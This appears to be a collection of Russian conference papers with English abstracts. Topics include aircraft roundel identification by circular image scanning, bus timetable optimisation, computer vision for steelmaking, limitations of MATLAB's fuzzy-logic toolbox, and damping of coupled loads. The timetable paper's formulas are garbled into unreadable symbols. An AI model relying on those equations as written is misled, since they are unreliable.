В данной статье была решена задача выпуклого программирования для функции, 

которая не имеет оптимальных точек в заданном множестве. Для проверки оптималь-
ности было использовано условие Куна-Таккера, которое и показало, что для каждой 
заданной точки полученная система несовместна, а значит не имеет решение. Причём 
одна из точек вовсе не принадлежит множеству. Для проверки решения была попытка 
найти седловую точку при заданных ограничениях, но оказалось, что её нет. Следова-
тельно, можно сделать вывод, что заданные точки в заданной функции при данных 
ограничениях не являются оптимальными (точками минимума). 
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MATHEMATICAL MODEL OF THE METHOD OF CIRCULAR SCANNING  
OF AIRCRAFT IDENTIFICATION MARKS WHEN IDENTIFYING THEIR STATE 
OWNERSHIP 

 
Аннотация. В статье представлена программа, реализующая определение принадлеж-
ности самолета к военно-воздушным силам конкретного государства. Для выполнения 
задачи идентификации предложен способ кругового сканирования изображения опо-
знавательного знака самолета, расположенного на самолете (на фюзеляже, крыле или 
киле самолета). Принцип и средства получения изображения опознавательного знака в 
данной работе не рассматривается, изложены только основные этапы работы способа 
сканирования с самим изображением знака самолета. 
Abstract. The article presents a program that implements the determination of an aircraft's af-
filiation with the air forces of a specific state. To perform the identification task, a method of 
circular scanning of the image of the aircraft identification mark located on the aircraft (on the 
fuselage, wing or vertical stabilizer of the aircraft) is proposed. The principle and means of 
obtaining the image of the identification mark are not considered in this work; only the main 
stages of the scanning method with the image of the aircraft mark itself are described. 
Ключевые слова: государственная принадлежность, самолет, способ кругового скани-
рования изображения. 
Keywords: nationality, aircraft, circular image scanning method. 
 

Любое теоретическое изучение каких-либо способов, методов, принципов или 
подходов в программировании сопровождается интересом к их прикладной реализации. 
При этом программирование, а точнее сказать разработка прикладных программ, взаи-
мосвязано со многими сферами науки, образования, повседневной деятельности и про-
изводства. Например, коллективом авторов под руководством научного руководителя 
разработаны прикладные программы при изучении вопросов психологии, эффективно-
сти применения вооружения, теории случайных чисел, взаимодействия теории вероят-
ности и математической статистики в испытаниях, основ теории надежности и проек-
тирования аппаратуры передачи данных, а также при изучении основ радиолокации, 
часть которых представлена в [1; 2; 3]. 

Обзор прикладных программ небольшого коллектива подтверждает широкое 
применение приемов программирования в технических и естественных науках. Стрем-
ление автоматизировать монотонные процессы, однотипные действия с целью исклю-
чения ошибок, возникающих из-за человеческого фактора, либо внедрить автоматиза-
цию в процесс проверки выполнения заданий в сфере образования – задача актуальная 
по сей день. В продолжении развития навыков программирования, в статье предлагает-
ся способ кругового сканирования изображения, основанный на разложении цветов 
изображения на составляющие красный (R-), зеленый (G-), синий (B-), который воз-
можно использовать для определения принадлежности самолета к военно-воздушным 
силам (ВВС) конкретного государства. В качестве изображения, которое подвергается 
обработке, используются опознавательного знака самолета, расположенные на фюзе-
ляже, крыле или киле самолета. 

Опознавательные знаки ВВС – символы, наносимые на летательный аппарат, 
принадлежащий военно-воздушным силам с целью указания их государственной при-
надлежности. Опознавательные знаки в основном имеют круглую форму (рондель) и 
повторяют мотивы государственных флагов [4]. Более 200 государств имеют в своих 
вооруженных силах авиацию, поэтому многообразие данных символов говорят о том, 
что автоматизация их идентификации намного упростит задачу определения государ-
ственной принадлежности самолета.  
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В работе рассмотрим лишь часть знаков (рисунок 1а), а внимание акцентируем 
на исследовании возможности применения способа кругового сканирования изображе-
ния, реализованного в прикладной программе [5], для выполнения задачи идентифика-
ции. 

 

а) б) 
Рисунок 1 – Исходные данные: 

а) опознавательные знаки; б) данные сканирования 
Работа программы подразделяется на ряд этапов:  
- ввод исходных данных (рисунок 1б); 
- круговое сканирование изображения (расчет среднеквадратического отклоне-

ния (СКО) значений усредненных составляющих цвета RGB в элементах линейки ска-
нирования); 

- сравнение путем вычитания полученных значений СКО и перебираемых в базе 
данных; 

- вывод результата сравнения. 
Суть способа кругового сканирования изображения заключается в следующей 

последовательности действий: 
- расчет параметров линейки сканирования, исходя из размеров изображения, 

радиуса сканирования и размера элемента квадратной области линейки сканирования 
(рисунок 2а); 

- усреднении значений цвета в квадрате линейки сканирования. Рассматривается 
не цвет каждого пикселя, а цвет по всей площади элемента линейки сканирования. По 
мнению авторов такой подход ускорит обработку цветных изображений наблюдаемых 
объектов и его целесообразно применять при первичной идентификации; 

- разложение усредненного цвета на составляющие RGB и запись этих значений 
во временный массив (строка массива для каждого цвета RGB содержит двадцать зна-
чений от 0 до 255); 

- поворот изображения на один градус; 
- расчет значений СКО каждой составляющей RGB при полном повороте изоб-

ражения и запись во временные массивы (массив для каждого цвета состоит строки с 
двадцатью значениями СКО).  

Рассмотрим этапы более подробно.  
Введенные исходные параметры позволяют автоматически определить размеры 

линейки сканирования (рисунок 2а). В данном примере предлагается линейка, состоя-
щая из двадцать квадратов, в каждом из которых происходит разложение цвета на 
усредненные числовые значения составляющих цвета RGB.  

В процессе кругового сканирования линейка совершает оборот на 360 градусов 
(рисунок 2а). При этом формируется массив значений усредненных цветов, состоящий 
из трехсот шестидесяти строк и двадцати столбцов, для одной цветной картинки.  

Для определения «уникальности» каждой картинки предлагается рассчитать 
СКО усредненных значений по формуле, представленной в [5]. 
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а) б) 
Рисунок 2 – Элементы работы программы: 

а) исследуемое изображение; б) результат обработки 
В итоге первичный массив размером 360х20 преобразуется в строку из двадцати 

значений СКО. Данный подход позволяет сформировать базу данных опознавательных 
знаков (рисунок 3), представляющую из себя массив строк с названием страны и значе-
ний СКО, а также уменьшить объем обрабатываемой информации на этапе сравнения и 
ускорить время идентификации опознавательного знака самолета.  

 
Рисунок 3 – Фрагмент базы данных значений СКО составляющих RGB  

Следует отметить, что формула, представленная в [5], является математическим 
аппаратом как для обработки входного изображения, так и для формирования базы 
данных. Это условие обязательно для функционирования предлагаемого программного 
решения. 

Далее на этапе сравнения, путем вычитания полученных значений СКО входно-
го изображения опознавательного знака и перебираемых в базе данных значений опре-
деляется принадлежность самолета (минимальная разность идентифицирует страну, 
который принадлежит самолет). В нашем случае выбран знак ВВС Бельгии, он же и 
идентифицирован (рисунок 2б). Авторы отмечают, что работа в прикладном примене-
нии способа кругового сканирования изображения продолжается, код программы [5] 
открыт. В рамках дальнейших исследований применения кругового сканирования 
изображения коллектив авторов исследует возможность распознавания летательного 
аппарата по его контуру, применение способа при подготовке операторов-
наблюдателей за наземной, воздушной и морской обстановкой.  
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ПОДХОДЫ К ПОСТРОЕНИЮ ГРАФИКА ДВИЖЕНИЯ АВТОМОБИЛЬНОГО 
ТРАНСПОРТА 
 
APPROACHES TO BUILDING A TIMETABLE FOR MOTOR TRANSPORT 

 
Аннотация. В работе рассматриваются подходы к разработке модуля для формирования 
графика движения автомобильного пассажирского транспорта. Описывается предпола-
гаемый функционал модуля, включающий учет времени работы транспорта на линии, 
количества транспортных средств, интервалов движения и организации обеденных пе-
рерывов обеспечивающих равномерность движения и обеспечивающих минимизацию 
отклонений от заданных параметров. В основе реализации модуля лежат модели ли-
нейного программирования и дискретной оптимизации. К системе предъявляются тре-
бования универсальности в рамках меняющихся параметров. 
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Abstract. The article discusses the development of a module for the formation of a timetable 
for passenger motor transport, designed to automate the planning of transport schedules. The 
proposed functionality of the module is described, taking into account the operating time of 
the line, the number of vehicles, the intervals of movement and the organization of lunch 
breaks, to ensure uniformity of movement and minimize deviations from the set parameters. 
The mathematical basis of the module is based on the methods of linear programming and 
discrete optimization, which are used to solve graph optimization problems. The parameters 
and formulas underlying the development are given, and the practical significance of the solu-
tion for improving the efficiency of transport systems is emphasized. The module is designed 
as a universal tool applicable to various operating conditions. 
Ключевые слова: график движения, оптимизация, линейное программирование, пасса-
жирские перевозки 
Key words: schedule, optimization, linear programming, passenger transportation. 

 
Современные подходы к оптимизации транспортных расписаний изначально ре-

ализуются в задачах управления потоками и ресурсами, адаптируются для транспорт-
ных систем, отличающихся наличием большого количества параметров: время начала и 
окончания движения, количество автобусов, интервалы движения, длительность рейсов 
и организацию перерывов. Целью исследования является создание программного ре-
шения, предназначенного для формирования оптимального графика движения автобу-
сов с учетом заданных эксплуатационных ограничений.  Для построения модели ис-
пользуются параметры, включающие время начала и окончания движения, количество 
транспортных средств, базовый интервал движения, время движения между пунктами 
А и Б, а также требования к организации времени отдыха. Разрабатываемое решение 
направлено на минимизацию отклонений от заданных интервалов и обеспечение рав-
номерности движения, что имеет практическую значимость для повышения эффектив-
ности транспортных систем и может послужить основой для дальнейших исследований 
в области автоматизированного планирования. 

Реализуемы модуль предполагает функционал обеспечивающий оптимизацию 
перерывов, с возможностью управления их длительностью, количества автобусов, 
находящихся на простое в пунктах А и Б, а также желаемого временного диапазона для 
перерывов. Оптимальная схема обеспечивает минимизацию влияния перерывов на ин-
тервалы движения, что особенно важно в периоды пиковой нагрузки,  и позволяет све-
сти к минимуму количество интервалов, превышающих заданный базовый интервал. 

Проект предполагает внедрение дополнительных функций, таких как адаптация 
графика под динамические изменения (например, учет задержек учетом дорожного 
трафика) и возможность анализа эффективности составленного расписания на основе 
оценки пассажиропотока. Предполагается возможностью интегрирования модели в си-
стемы управления транспортными потоками, обеспечивая гибкость и масштабируе-
мость для различных сценариев эксплуатации. 

Пусть  𝑇௦ — время начала движения, 𝑇 — время окончания, 𝑁 — количество ав-
тобусов, 𝐼— базовый интервал движения, 𝑇 и 𝑇 — время в пути из А в Б и из Б в А 
соответственно. Тогда общее время цикла одного автобуса можно выразить как 
  𝑇 ൌ  𝑇   𝑇  , а количество рейсов за день для одного автобуса: 

𝑅 ൌ ሾሺ ்ା  ೞ் ሻ

  ்
] 

Для расчёта интервалов движения используется формула: 

𝐼 ൌ ்ି ೞ்

ே∙ோ
, 

где 𝐼 — фактический интервал.  
Пусть 𝑁ሺ𝑡ሻ െ количество автобусов на перервые в момент времени t, а 𝑁 ൌ

𝑁 െ 𝑁ሺ𝑡ሻ െ число активных автобусов. Интервал движения в период перерыва 𝑇 вы-
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ражается как  𝐼 ൌ  ்ು

ேೌ∙ ோು
, где 𝑅 െ число рейсов за этот период. Целевая функция оп-

тимизации направлена на минимизацию отклонений интервала от базового значения   
                                                        min 𝑍 ൌ |𝐼ሺ𝑡ሻ െ  𝐼| 

где 𝐼ሺ𝑡ሻ — интервал в момент времени 𝑡,  
Ограничения включают: 𝑁ሺ𝑡ሻ  1 (хотя бы один автобус активен), 𝑇ೞೌೝ

 𝑡  
𝑇

  (диапазон перерывов), ∑ 𝑁  𝑁 (общее число перерывов ограничено) 
Математическая модель может быть представлена в компаткой форме как задача 

линейного программирования  
𝑚𝑖𝑛𝑍 ൌ  𝑚𝑎𝑥௧|𝐼ሺ𝑡ሻ െ  𝐼|. 

При условиях  

𝐼ሺ𝑡ሻ ൌ  
𝑇 െ 𝑇௦

𝑁ሺ𝑡ሻ ∙ 𝑅
, 

 
𝑁 ൌ 𝑁 െ 𝑁ሺ𝑡ሻ, 𝑇ೞೌೝ

 𝑡  𝑇
, ∑ 𝑁  𝑁, 

Где 
ሺ ்ା  ೞ் ሻ

  ்
,   𝑇 ൌ  𝑇  𝑇. 

 
Разрабатываемый модуль формирования графика движения автомобильного 

пассажирского транспорта демонстрирует потенциал для автоматизации сложных про-
цессов планирования. Разрабатываемый модуль ориентирован на учет базовых пара-
метров маршрута, таких как время работы линии, количество автобусов и интервалы 
движения, а также на гибкую настройку расписания с учетом обеденных перерывов. 
Применение разрабатываемых инструментов позволяет оптимизировать эксплуатаци-
онные затраты. 

Практическая значимость предлагаемого решения заключается в снижении зави-
симости от субъективных факторов при составлении расписаний и повышении эффек-
тивности управления транспортными потоками, в том числе в условиях интенсивных 
перевозок и строгих временных требований. 
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TITLE IN ENGLISH (НАИМЕНОВАНИЕ СТАТЬИ НА АНГЛИЙСКОМ ЯЗЫКЕ) 
 
Аннотация. В данной работе рассматриваются подходы к оптимизации производствен-
ных процессов в черной металлургии с применением методов машинного обучения и 
компьютерного зрения. Основное направление исследования – решение задач визуаль-
ного контроля, которые включают в себя анализ состава и сортировку поступающего на 
переработку металлолома, визуальный контроль состояния стальковшей и управление 
процессом излива расплава. Предметом анализа являются современные алгоритмы 
компьютерного зрения, включающие гибридные алгоритмы машинного обучения с ин-
тегрированными физическими моделями, свёрточные нейронные сети, сегментацион-
ные и детекционные модели. Особое внимание уделяется проблеме недостаточной раз-
работанности данной предметной области как самостоятельного научно-технического 
направления. 
Abstract. This article discusses approaches to optimizing production processes in ferrous met-
allurgy using machine learning and computer vision methods. The main focus of the study is 
solving visual control problems, which include analyzing the composition and sorting scrap 
metal received for processing, visually monitoring the state of steel ladles, and controlling the 
melt pouring process. The subject of the analysis is modern computer vision algorithms, in-
cluding hybrid machine learning algorithms with integrated physical models, convolutional 
neural networks, segmentation and detection models. Particular attention is paid to the prob-
lem of insufficient development of this subject area as an independent scientific and technical 
direction. 
Ключевые слова: компьютерное зрение, машинное обучение, черная металлургия, ги-
бридные модели. 
Key words: computer vision, machine learning, ferrous metallurgy, hybrid models. 
 

Черная металлургия является отраслью промышленности с одними из самых 
низких темпов цифровой трансформации. Этому способствуют технологический кон-
серватизм, высокая капиталоемкость модернизации и внедрения новых технологий и 
недостаточная степень разработанности отдельных прикладных специализированных 
решений, использующих технологии компьютерного зрения (CV) и машинного обуче-
ния (ML) [1]. В отличие от других отраслей промышленности, например, микроэлек-
троники, авиастроения и машиностроения, где уже существует обширный спектр ML-
алгоритмов для контроля качества и управления технологическими процессами, в чер-
ной металлургии большинство существующих решений носит точечный характер [1], 
[2] и не образует единой методологической базы. 

Все ключевые производственные процессы – от сортировки сырьевого материа-
ла (шихты, металлолома) до плавки и прокатки являются объектами внедрения узкос-
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пециализированных решений, учитывающих конкретные условия, в которых протекают 
эти процессы (высокие температуры, задымленность, динамически разный состав 
окружения, вибрации и зашумленность) [2]. Указанные условия накладывают суще-
ственные ограничения на применение существующих «готовых» CV- и ML-решений. 
Относительно простые задачи, такие как детекция отклонения геометрических пара-
метров (длины и формы поперечного сечения) литых прокатных заготовок, не имеют 
единой методологической базы из-за отсутствия общеотраслевых стандартов получе-
ния и обработки данных. Исследования в данной области носят фрагментарный харак-
тер [1], а существующие коммерческие решения разрабатываются под нужды конкрет-
ных предприятий без тиражирования полученного опыта их внедрения. 

Областью исследования являются производственные процессы черной метал-
лургии, включающие контроль качества заготовок, слежение за состоянием оборудова-
ния, мониторинг технологических параметров и выявление отклонений на основе визу-
альной информации. Отсутствие экономически эффективных примеров массового 
внедрения решений, использующих алгоритмы CV и ML в черной металлургии не сти-
мулирует финансирование фундаментальных исследований в этой предметной области, 
что, в свою очередь, приводит низким темпам развития готовых производственных ре-
шений. В таких условиях, возникает актуальность внедрения модифицированных и 
адаптированных к условиям конкретных производств алгоритмов машинного обучения 
и методов компьютерного зрения. В качестве объектов исследования рассматривается 
класс прикладных задач металлургических производств, для решения которых выпол-
няется разработка и оптимизация алгоритмов машинного обучения и компьютерного 
зрения. Разработанные алгоритмы предназначены для повышения эффективности про-
изводственных процессов и создания методологической основы использования боль-
ших данных и технологий ML и CV в металлургии. 

При постановке научной проблемы, которую рассматривает данное исследова-
ния, выдвигается основная гипотеза – создание эффективных ML/CV-систем для чер-
ной металлургии требует выполнения нескольких шагов. Основная сложность заключа-
ется в разработке специализированных алгоритмов, которые должны учитывать дина-
мические помехи, создающие высокую степень зашумленности данных (дым, пар, виб-
рации) [2]. Специализированные алгоритмы, повышенной алгоритмической сложности, 
должны интегрировать математическую модель физических особенностей рассматри-
ваемых технологических процессов [5]. Архитектура разрабатываемых алгоритмов ос-
новывается на применении нестандартных форматов данных (термограммы, спектро-
граммы, 3D-сканы). Постановка задачи создания таких алгоритмов включает в себя 
требование высокой интерпретируемости результатов их работы для дальнейшего их 
применения в системах управления технологическими процессами. 

Для обучения созданных специализированных алгоритмов необходимо форми-
рование единой базы отраслевых массивов данных (датасетов) с высокой степенью 
применение аугментационных методик [3]. Получение таких датасетов выдвигает 
определенные требования к технической оснащенности систем мониторинга предприя-
тия, аппаратуру которых необходимо адаптировать для работы в условиях конкретных 
производств.    

Предметного исследования требуют существующие методы и алгоритмы ма-
шинного обучения, применяемые в системах компьютерного зрения, такие как: глубо-
кие свёрточные нейронные сети (CNN); сегментационные и детекционные модели 
(YOLO, DeepLab, Mask R-CNN); гибридные архитектуры (ML, интегрирующие физиче-
ские модели для повышения устойчивости к зашумленным данным и уменьшения ем-
кости обучающих выборок); трансформеры для визуального анализа (ViT) [3], [4]. 

В качестве методологической основы исследования предлагается многоуровне-
вый подход (таблица 1). 
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Таблица 1 – Структура декомпозиции рассматриваемых задач 
Уровень Решаемые  

задачи 
Применяемые 

технологии и ме-
тоды 

Способы адап-
тации для ме-

таллургии 

Пример при-
менения 

Сенсорный Получения ре-
левантных дан-
ных в экстре-
мальных усло-
виях рассматри-
ваемого произ-
водственного 
процесса 

инфракрасные 
камеры, 3D-
лидары, спектро-
графы, высоко-
скоростные каме-
ры, сенсорные 
системы нераз-
рушающего кон-
троля и другие 
средства техниче-
ской диагностики  

Защита от тем-
пературных пе-
регрузок, филь-
трация задым-
ления, коррек-
ция бликов, 
учет динамиче-
ских парамет-
ров  

Термография 
стальковша 
(800 – 
1200°C) 

Предобработка Подготовка 
данных для 
обучения моде-
лей ML 

Аугментация, 
нормализация; 
PCA для ИК-
данных; методики 
создания искус-
ственных данных 
Synthetic Data 
Generation (SDG) 

Адаптивные 
алгоритмы ауг-
ментации; 
фильтры подав-
ления произ-
водственных 
шумов 

Увеличение 
обучающих и 
валидацион-
ных массивов 
данных  

Алгоритмиче-
ский 

Разработка но-
вых и адаптация 
существующих 
CV/ML-моделей 
к специфике 
металлургиче-
ских произ-
водств 

Нейронные сети 
архитектуры 
Vision Transformer 
для глобального 
контекста; алго-
ритмы детекции 
объектов в реаль-
ном времени 
YOLOv8; U-Net 
(сегментация); 
Swin Transformer 
(для больших 
изображений) 

Гибридные мо-
дели (CNN + 
ViT); квантиза-
ция для edge-
устройств 

Детекция 
баллонов и 
замкнутых 
емкостей в 
металлоломе 

Прогностиче-
ский 

Прогнозирова-
ние (предиктив-
ная аналитика) 
состояния обо-
рудования 

LSTM (времен-
ные ряды); Trans-
former Time 
Series; физико-
статистические 
модели 

Интеграция ин-
формации из 
системы мони-
торинга (датчи-
ки, камеры, 
сенсорная ап-
паратура); учет 
термоциклиро-
вания 

Прогноз из-
носа футе-
ровки сталь-
ковша (с 
MAE не бо-
лее 5%) 

Практическая значимость исследования состоит в разработке решений суще-
ствующих прикладных задач, внедряемых на производственной площадке предприятия 
черной металлургии. Одной из актуальных прикладных задач является выявление по-
тенциально опасных форм металлолома при сортировке перед отправкой на переплав-
ку. Выявляются полые замкнутые емкости, которые могут содержать взрывоопасные 
газы, либо просто воздух. При нагреве такие объекты могут взрываться из-за расшире-
ния газов, повреждая плавильные агрегаты и угрожая безопасности персонала. Предпо-
лагаемое решение включает использование стереокамер для построения 3D-модели ло-
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ма, применение алгоритмов сегментации для выявления замкнутых объемов и моделей 
классификация опасных объектов на основе геометрии и текстуры. Результатом являет-
ся снижение аварийных ситуаций, автоматическая маркировка и отбраковка опасного 
лома до поступления в сталеплавильный цех. Отслеживание состояния стальковшей в 
процессе внутрицеховой логистики является одной из приоритетных задач современ-
ных производств [2]. Стальковши подвергаются термическим и механическим нагруз-
кам, что приводит к постепенному разрушению футеровки. Раннее обнаружение тре-
щин или истончения огнеупорного слоя критически важно для предотвращения проры-
вов металла. Предполагаемое решение включает использование термографического 
анализа в реальном времени (ИК-камеры фиксируют температурные аномалии на по-
верхности ковша) и алгоритмов ML, которые сегментируют области перегрева, указы-
вающие на износ футеровки. Предиктивная аналитика прогнозирует остаточный ресурс 
ковша на основе истории температурных профилей. Результатом является снижение 
внеплановых простоев и оптимизация графика замены футеровки. Третьей рассматри-
ваемой задачей является управление процессом наполнения стальковша расплавом из 
печи по допустимому содержанию шлака. При выпуске металла из печи в ковш вместе 
с расплавом попадает шлак, который ухудшает качество стали. Избыток шлака может 
привести к браковке всей плавки, увеличивая стоимость и время производства. Пред-
полагаемое решение включает использование ML-анализа видеопотока от ИК-камер на 
основе гибридной модели, который оценивает объем шлака в струе расплава по форме 
струи, температурному градиенту и оптическим свойствам [4]. Результатом внедрения 
решения предполагается наличие данных для формирование управляющих воздействий 
автоматической системой управления технологическим процессом и создание стати-
стической базы данных для использования в алгоритмах сквозной оптимизации. 

Научная новизна исследования заключается в систематизации требований к 
ML/CV-алгоритмам для условий черной металлургии, разработке методик аугментации 
термографических, спектрографических и видеоданных для получения релевантных 
датасетов, используемых при обучении ML-моделей. Впервые проводится комплексная 
формализация специфических требований к алгоритмам машинного обучения и ком-
пьютерного зрения, которая учитывает уникальные условия металлургических произ-
водств. В настоящей работе разрабатываются новые подходы к модификации и адапта-
ции алгоритмов компьютерного зрения и машинного обучения для специфичных усло-
вий производства в металлургической промышленности. Одним из аспектов исследо-
вания является адаптация современных ML и CV архитектур с учетом характерных 
промышленных помех – температурных шумов, задымленности и динамических виб-
раций. Особое внимание уделяется методикам аугментации данных, включая термо-
адаптированные преобразования изображений, физико-информированное синтетиче-
ское генерирование дефектов и компенсацию оптических искажений в условиях горя-
чих цехов и открытых пространств. Использование гибридных подходов, сочетающих 
нейросетевые модели с физическими уравнениями процессов, позволяет преодолеть 
ограничения традиционных методов компьютерного зрения. Эти разработки создают 
основу для нового поколения промышленных систем технического зрения, способных 
эффективно работать в самых сложных условиях металлургического производства. 
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ОГРАНИЧЕНИЯ ИСПОЛЬЗОВАНИЯ ТЕОРИИ НЕЧЕТКИХ МНОЖЕСТВ  
И НЕЧЕТКОЙ ЛОГИКИ В ВЫЧИСЛИТЕЛЬНОЙ СИСТЕМЕ MATLAB 
 
LIMITATIONS OF USING FUZZY SET THEORY AND FUZZY LOGIC IN 
MATLAB COMPUTER SYSTEM 
 
Аннотация. Настоящее исследование посвящено изучению теории нечетких множеств и 
нечеткой логики посредством практической реализации с использованием пакета Fuzzy 
Logic Toolbox в среде MATLAB. Основной целью является анализ ограничений и недо-
статков, связанных с реализацией данной теории в прикладной программе. Акцент де-
лается на выявлении методологических и технических проблем, ограничивающих кор-
ректность нечеткого вывода, возможность визуализации систем с тремя и более пере-
менными, а также наглядность при построении нечетких систем. В рамках исследова-
ния предложены подходы к решению, основанные на применении методов математиче-
ского моделирования, оптимизации процессов построения 3D-моделей и разработке 
расширенных средств визуализации, что повышает точность представления и анализа 
данных. 
Abstract. The present study is devoted to the study of fuzzy set theory and fuzzy logic through 
practical implementation using Fuzzy Logic Toolbox package in MATLAB environment. The 
main objective is to analyse the limitations and drawbacks associated with the implementation 
of this theory in an application program. Emphasis is placed on identifying methodological 
and technical problems that limit the correctness of fuzzy inference, the ability to visualise 
systems with three or more variables, and the visibility in the construction of fuzzy systems. 
The research proposes approaches to the solution based on the application of mathematical 
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modelling methods, optimisation of 3D model building processes and development of ad-
vanced visualisation tools, which improves the accuracy of data representation and analysis. 
Ключевые слова: теория нечетких множеств, нечеткая логика, нечеткое моделирование, 
имитационное моделирование, MATLAB, Fuzzy Logic Toolbox. 
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В условиях развития информационных технологий математическое моделирова-

ние играет важную роль в научно-исследовательской деятельности, предоставляя воз-
можности для анализа сложных систем и разработки гибких решений. В рамках при-
кладной математики теория нечетких множеств и нечеткая логика представляют собой 
инструмент, применяющийся в условиях работы с неточными или неявно определен-
ными данными. В отличие от классической логики, где оперируют истинными или 
ложными значениями, нечеткая логика представлена в виде степени принадлежности к 
этим понятиям, которые способствуют созданию эффективных систем для решения 
сложных задач в условиях размытого состояния.  

Основной целью исследования является выявление недостатков реализации тео-
рии нечетких множеств и нечеткой логики средствами компьютерной среды MATLAB, 
ограничивающих корректность и точность оцениваемых нечетких систем. Также при-
ведены возможности, дополнительно расширяющие Fuzzy Logic Toolbox, которые по-
вышают его надежность и применимость в широком спектре инженерных и научных 
дисциплин. Существуют различные прикладные программные обеспечения для реали-
зации математического моделирования, однако теории нечетких множеств и нечеткая 
логика представлена исключительно посредством среды MATLAB, которая обладает 
разнообразием инженерных библиотек и математических функций. Ввиду этого, рас-
смотрим один из пакетов расширения – Fuzzy Logic Toolbox (далее – FLT), где реализо-
ваны математические модели нечеткой логики.  

В работе с FLT присутствует ряд ограничений, которые делают систему нечет-
кого вывода менее точной и надежной. Во-первых, рассмотрим редактор Rule Viewer, 
который позволяет визуализировать процесс перехода от нечеткости к числовому зна-
чению в зависимости от значений переменных. К примеру, если для нечеткой системы 
составить базу правил, состоящую из 27 условий, с использованием метода логической 
конъюнкции, то при изменении значений входных переменных будет отражено некор-
ректное итоговое значение выходной переменной. 

 
Рисунок 1 – Редактор Rule Viewer с тремя входными переменными  

и выходной переменной 
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Представлена система с тремя входными переменными, где все лингвистические 
переменные принимают значение 0,8, и ожидаемое значение выходной переменной 
должно равняться 0,8 согласно правилам нечеткой логики. Но редактор, как видно из 
рисунка 1, выдает значение равное 0,646, что свидетельствует о неточности расчета. 
Указанное расхождение может быть объяснено особенностями обработки данных и ре-
ализации алгоритмов, применяемых в пакете FLT. В связи с этим возникает необходи-
мость пересмотра процесса реализации алгоритмов нечеткого вывода с использованием 
автоматизированных инструментов в целях повышения надежности моделирования. 

Во-вторых, при создании нечеткой системы с тремя входными переменными и 
одной выходной переменной создается ограничение визуализации, поскольку 
MATLAB не предоставляет возможности визуализации для четырех переменных не-
четкой системы. Создается необходимость, строить поверхность по параметрам двух 
входных переменных из трех и более, что создает ограничение для анализа поведения 
нечеткой системы. 

Одним из возможных решений является создание скалярного поля, которое 
представляет собой сетку с многомерным распределением значений, в каждой точке 
которой определена конкретная числовая величина. Использование цветовой шкалы 
для представления выходной переменной и значения трех входных переменных для по-
строения скалярного поля позволит наглядно иллюстрировать зависимости между па-
раметрами. При фиксировании одной из входных переменных в виде константы проис-
ходит образование двумерного пространства, в виде среза этого скалярного поля, что 
позволяет уменьшить размерность задачи и сосредоточиться на взаимодействиях 
оставшихся переменных. В дальнейшем, такой срез может быть преобразован в трех-
мерную поверхность, которая обеспечит наглядную визуализацию зависимости между 
переменными внутри нечеткой системы. Данный подход улучшит восприятие много-
мерных данных, позволит визуализировать и анализировать нечеткие системы с тремя 
входными переменными.  

В частности, для использования MATLAB, включая пакет FLT, необходимо 
установить лицензионное или нелегальное программное обеспечение, что связано либо 
с существенными финансовыми затратами, либо с рисками, такими как заражение си-
стемы вредоносными программами. Одним из возможных решений является реализа-
ция FLT в формате SaaS (программное обеспечение как услуга), что позволит предо-
ставлять пользователям доступ к функционалу через веб-браузер, минимизируя затраты 
и снижая риски. 

Кроме того, реализация простых моделей нечеткой логики без возможности уче-
та дополнительных и уточняющих параметров, например, таких как временные харак-
теристики, весовые коэффициенты и приоритетные индексы приводят к ограничению 
построения более гибких и адаптивных нечетких систем. При внедрении данных харак-
теристик в алгоритм нечеткой системы, на выходе получилась бы более структуриро-
ванная и полная итоговая оценка.   

В заключение, пакет FLT обладает достаточно устаревшим дизайном, так как его 
интерфейс и функционал не поддавались значительным изменениям с момента запуска, 
то есть с 1995 года. Это служит дополнительной причиной по созданию независимого 
приложения реализации теории нечетких множеств и нечеткой логики, которое позво-
лит устранить все вышеперечисленные ограничения и улучшить как функциональную, 
так и визуальную составляющую. Проведенное исследование, направленное на анализ 
компьютерной реализации теории нечетких множеств и нечеткой логики в среде 
MATLAB, позволило выявить ряд методологических и технических ограничений, а 
также разработать предложения по их устранению. К основным ограничениям относят-
ся нестабильная работа редактора Rule Viewer и невозможность 3D-визуализации трех 
и более входных переменных. Также были рассмотрены другие недостатки пакета FLT, 
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которые относятся к дополнительным затратам, возможным рискам и узкому примене-
нию теории нечётких множеств. Полученные результаты способствуют совершенство-
ванию подходов к моделированию и решению задач в условиях неопределенности. 
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ОПТИМАЛЬНОЕ ВЫВЕДЕНИЕ СИСТЕМЫ УПРУГО СВЯЗАННЫХ ГРУЗОВ 
НА РЕЖИМ РАВНОМЕРНОГО ДВИЖЕНИЯ 
 
OPTIMAL TRANSFER OF A SYSTEM OF ELASTICALLY CONNECTED LOADS 
TO A UNIFORM MOTION MODE 
 
Аннотация. В работе рассматривается задача о нахождении коэффициента вязкого тре-
ния в системе упруго связанных грузов, обеспечивающего наиболее эффективное ее 
выведение на режим равномерного движения. При этом используются два известных 
критерия оптимизации, которые представлены в модифицированной форме. Показано, 
что для каждого из них поставленную задачу можно свести к задаче оптимизации 
демпфирования колебаний линейного осциллятора с одной степенью свободы. 
Abstract. The paper considers the problem of finding the coefficient of viscous friction in a 
system of elastically connected loads, which ensures its most effective transfer to the uniform 
motion mode. In this case, two known optimization criteria are used, which are presented in a 
modified form. It is shown that for each of them, the problem can be reduced to the problem 
of optimizing the damping of vibrations of a linear oscillator with one degree of freedom. 
Ключевые слова: упруго связанные грузы, вязкое трение, критерий оптимизации.  
Key words: elastically connected loads, viscous friction, optimization criterion. 
 

Задачам оптимального подавления колебаний механических систем с одной и 
несколькими степенями свободы пассивным образом, т. е. при помощи введения в си-
стему демпферов вязкого трения и их надлежащей настройки, посвящены многие науч-
ные работы [1–5]. При этом для определения коэффициентов вязкого трения использу-
ются различные критерии оптимизации, характеризующие эффективность процессов 
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затухания движений системы. Например, можно применять критерий, основанный на 
максимизации степени устойчивости, под которой понимается модуль вещественной 
части корня характеристического уравнения, лежащего наиболее близко к мнимой оси 
на комплексной плоскости. Этот критерий широко используется в линейных задачах 
ввиду простоты его вычисления, но он не является единственно возможным, поскольку 
также можно рассматривать и интегральный энерго-временной критерий, минимизи-
рующий площадь под кривой энергии на полубесконечном интервале времени и тем 
самым обеспечивающий ее наискорейшее рассеивание. Однако в тех ситуациях, когда 
механическая система не имеет достаточного количества связей и допускает движение 
как единого целого без деформаций, оба упомянутых критерия в их традиционной за-
писи, как это нетрудно понять, оказываются непригодными, так что их приходится не-
которым образом модифицировать. Ясно, что здесь речь уже идет о подборе наилуч-
ших значений диссипативных параметров, которые обеспечивают наиболее эффектив-
ное затухание колебаний, накладываемых на равномерное движение системы.  

